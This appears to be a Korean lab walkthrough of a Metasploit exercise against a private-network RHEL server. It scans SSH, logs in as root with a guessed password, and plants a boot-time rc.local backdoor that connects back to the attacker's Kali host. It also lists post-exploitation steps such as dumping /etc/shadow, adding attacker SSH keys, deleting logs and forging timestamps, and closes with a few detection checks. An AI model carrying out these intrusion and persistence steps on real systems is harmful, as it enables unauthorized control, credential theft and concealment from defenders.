msfconsole은 단순히 공격 도구가 아니라, 수천 개의 해킹 모듈을 담고 있는 '공격용 운영체제'와 같습니다.
서비스 시작 및 실행 (Kali Linux)
가장 먼저 데이터베이스를 초기화하고 콘솔을 실행합니다. (데이터베이스를 연결하면 검색 속도가 훨씬 빨라집니다.)
sudo msfdb init
msfconsole
앞선 실습(Hydra)으로 인해서 root와 비밀번호를 획득햇다.
실습 1: 보조 모듈(Auxiliary)로 정보 수집하기
침투하기 전, 대상 서버에서 어떤 서비스가 돌아가는지 확인하는 단계입니다. Hydra로 공격했던 SSH 서비스가 실제로 열려 있는지, 버전은 무엇인지 msfconsole로 확인해 봅시다.
# 1. SSH 버전 스캐너 선택
use auxiliary/scanner/ssh/ssh_version
# 2. 공격 대상 IP 설정
set RHOSTS 192.168.200.23
# 3. 스캔 실행
run
타겟 확인: IP 192.168.200.23 서버에 정상적으로 연결되었습니다.
SSH 버전 탈취: 서버에서 돌아가는 SSH 서비스가 OpenSSH 9.9 버전이라는 사실을 알아냈습니다.
상세 정보 확보: 서버가 지원하는 암호화 방식(aes256-gcm, chacha20-poly1305 등)과 압축 방식 정보까지 모두 리스트업 되었습니다.
해커의 관점에서 단순히 "문이 열려 있다"를 넘어 "문이 어떤 모델(OpenSSH 9.9)인지" 아는 것은 공격의 성공률을 엄청나게 높여줍니다.
취약점 검색: 나중에 이 버전에 알려진 보안 취약점(CVE)이 있는지 구글이나 메타스플로잇 내부에서 바로 검색해 볼 수 있습니다.
공격 도구 최적화: 서버가 사용하는 암호화 방식을 알았으니, 이에 맞는 공격 페이로드를 더 정밀하게 구성할 수 있습니다.
버전을 확인했으니, 이제 메타스플로잇 안에 있는 로그인 스캐너를 사용해 볼 차례입니다. 아까 Hydra로 했던 것과 비슷하지만, 메타스플로잇은 성공 시 바로 서버를 제어할 수 있는 세션(Session)을 만들어준다는 장점이 있습니다.
# 1. 로그인 스캔 모듈로 변경
use auxiliary/scanner/ssh/ssh_login
# 2. 타겟 설정
set RHOSTS 192.168.200.23
# 3. 로그인 정보 설정 (비밀번호 0000으로 테스트)
set USERNAME root
set PASSWORD 0000
# 4. 실행
run

이제 열려 있는 세션 1번으로 들어가서, 마치 Red Hat 서버 앞에 앉아 있는 것처럼 명령어를 내려볼 차례입니다. msfconsole 창에서 다음 명령어를 입력합니다.

레드헷리눅스에서도 ls -al이 똑같이 뜨는 것을 볼수있다

1. 정보 수집 (Information Gathering)
가장 먼저 내가 들어온 곳이 정확히 어디인지, 어떤 중요한 데이터가 있는지 파악하는 단계입니다.
시스템 정보 확인: 운영체제 버전, 커널 정보, 네트워크 설정 등을 확인합니다.
사용자 및 계정 확인: 어떤 사용자들이 접속해 있는지, 어떤 그룹이 있는지 살핍니다.
민감한 파일 탐색: /etc/passwd, /etc/shadow(비밀번호 해시) 파일이나 사용자의 개인 문서, 데이터베이스 설정 파일 등을 뒤집니다.
2. 권한 상승 및 자격 증명 탈취 (Privilege Escalation & Credential Hunting)
만약 일반 계정으로 들어왔다면 root 권한을 얻으려 노력하겠지만, 이미 root이므로 다음 단계를 수행합니다.
비밀번호 해시 덤프: 서버에 저장된 모든 사용자의 비밀번호 암호화 값을 추출하여 나중에 복호화(Cracking)를 시도합니다.
메모리 분석: 메모리에 남아있는 평문 비밀번호나 인증 토큰을 찾아냅니다.
백도어(Backdoor) 설치: 특정 포트를 열어두거나, 주기적으로 공격자에게 연결을 시도하는 스크립트(Cron job)를 심어둡니다.
SSH 키 등록: 공격자의 공개키(Public Key)를 서버의 authorized_keys에 등록하여 비밀번호 없이 언제든 접속하게 만듭니다.
로그 삭제: /var/log/secure나 /var/log/messages 등 공격 흔적이 남은 로그 파일을 세밀하게 편집합니다.
타임스탬프 조작: 파일의 생성/수정 날짜를 조작하여 의심을 피합니다.
지속성을 유지하기위해 백도어를 설치해보는 실습을 진행합니다. Meterpreter는 공격자가 침투한 뒤에 사용할 수 있는 가장 강력한 도구 중 하나로, 수동으로 코드를 입력할 필요 없이 명령 한 줄로 백도어를 심는 기능을 제공합니다.
1단계: 먼저 현재 모듈에서 빠져나와 전체 목록을 다시 띄워야 합니다.
search persistence type:exploit platform:linux
37번에 rc_local을 사용할 예정입니다
# 검색 결과에 나온 번호를 입력
use 37
37번이기때문에 use 37을 입력한다.
2단계: 백도어 옵션 설정 및 실행
모듈을 선택했다면, 련고님의 환경에 맞게 옵션을 세팅합니다.
# 1. 현재 활성화된 Meterpreter 세션 번호 (2번)
set SESSION 2
# 2. 연결을 받을 련고님의 Kali IP
set LHOST 192.168.200.30
# 3. 연결 포트 (기본 4444)
set LPORT 4444
# 4. 실행
run
3단계: 수동으로 확인하기 (RHEL 10.1 서버)
모듈 실행 후, 실제 서버의 rc.local 파일에 백도어 코드가 잘 들어갔는지 확인해 볼 수 있습니다.
실행 권한 부여하기
Meterpreter 세션 상태에서 아래 명령어를 입력하여 파일에 실행 권한을 줍니다.
shell
# (리눅스 쉘로 진입하면 아래 명령어 입력)
chmod +x /etc/rc.d/rc.local
exit
세션 진입: sessions -i 2
명령어 입력: cat /etc/rc.d/rc.local 또는 cat /etc/rc.local

최종 결과 분석
서버의 부팅 스크립트 파일인 /etc/rc.d/rc.local의 맨 하단을 확인해 보세요.
백도어 경로 추가: /tmp/X73Gpx7f7M & 라는 한 줄이 추가된 것을 볼 수 있습니다.
의미: 아까 메타스플로잇이 /tmp 폴더에 생성했던 공격용 실행 파일이, 이제 서버가 켜질 때마다 백그라운드(&)에서 자동으로 실행되도록 설정된 것입니다.
정상 종료: 마지막에 exit 0까지 깔끔하게 붙어 있어, 시스템 부팅 과정에 문제를 일으키지 않으면서 백도어만 조용히 실행됩니다.
확인 명령어: cat /etc/rc.d/rc.local
체크 포인트: 파일 맨 아랫부분에 /tmp/X73Gpx7f7M &와 같이 알 수 없는 실행 파일 경로가 추가되어 있다면 백도어가 설치된 것입니다.
실행 권한: ls -l /etc/rc.d/rc.local을 쳤을 때 -rwxr-xr-x처럼 x(실행 권한)가 붙어 있다면 부팅 시 자동으로 실행될 준비가 끝난 상태입니다.
네트워크 연결 확인: netstat -antp 또는 ss -antp

체크 포인트: ESTABLISHED 상태인 연결 중에서 련고님의 Kali IP(192.168.200.30)와 연결된 것이 있는지 보세요.
프로세스 확인: ps -ef | grep /tmp

체크 포인트: 보통의 정상적인 프로그램은 /tmp 폴더에서 실행되지 않습니다. 여기서 실행 중인 프로세스가 있다면 백도어일 확률이 매우 높습니다.
오늘 실습 최종 요약
1. 정보 수집 : ssh_version 스캐너로 타겟 서버 정보 탈취 OpenSSH 9.9 버전 확인
2. 침투 (Exploit) : ssh_login 모듈로 무차별 대입 공격 수행 root 권한 및 세션 획득
3. 권한 업그레이드 : 일반 쉘을 Meterpreter 세션으로 승격 강력한 원격 제어 기능 확보
4. 지속성 유지 : rc_local을 변조하여 자동 백도어 설치재부팅 후 자동 연결 설정 완료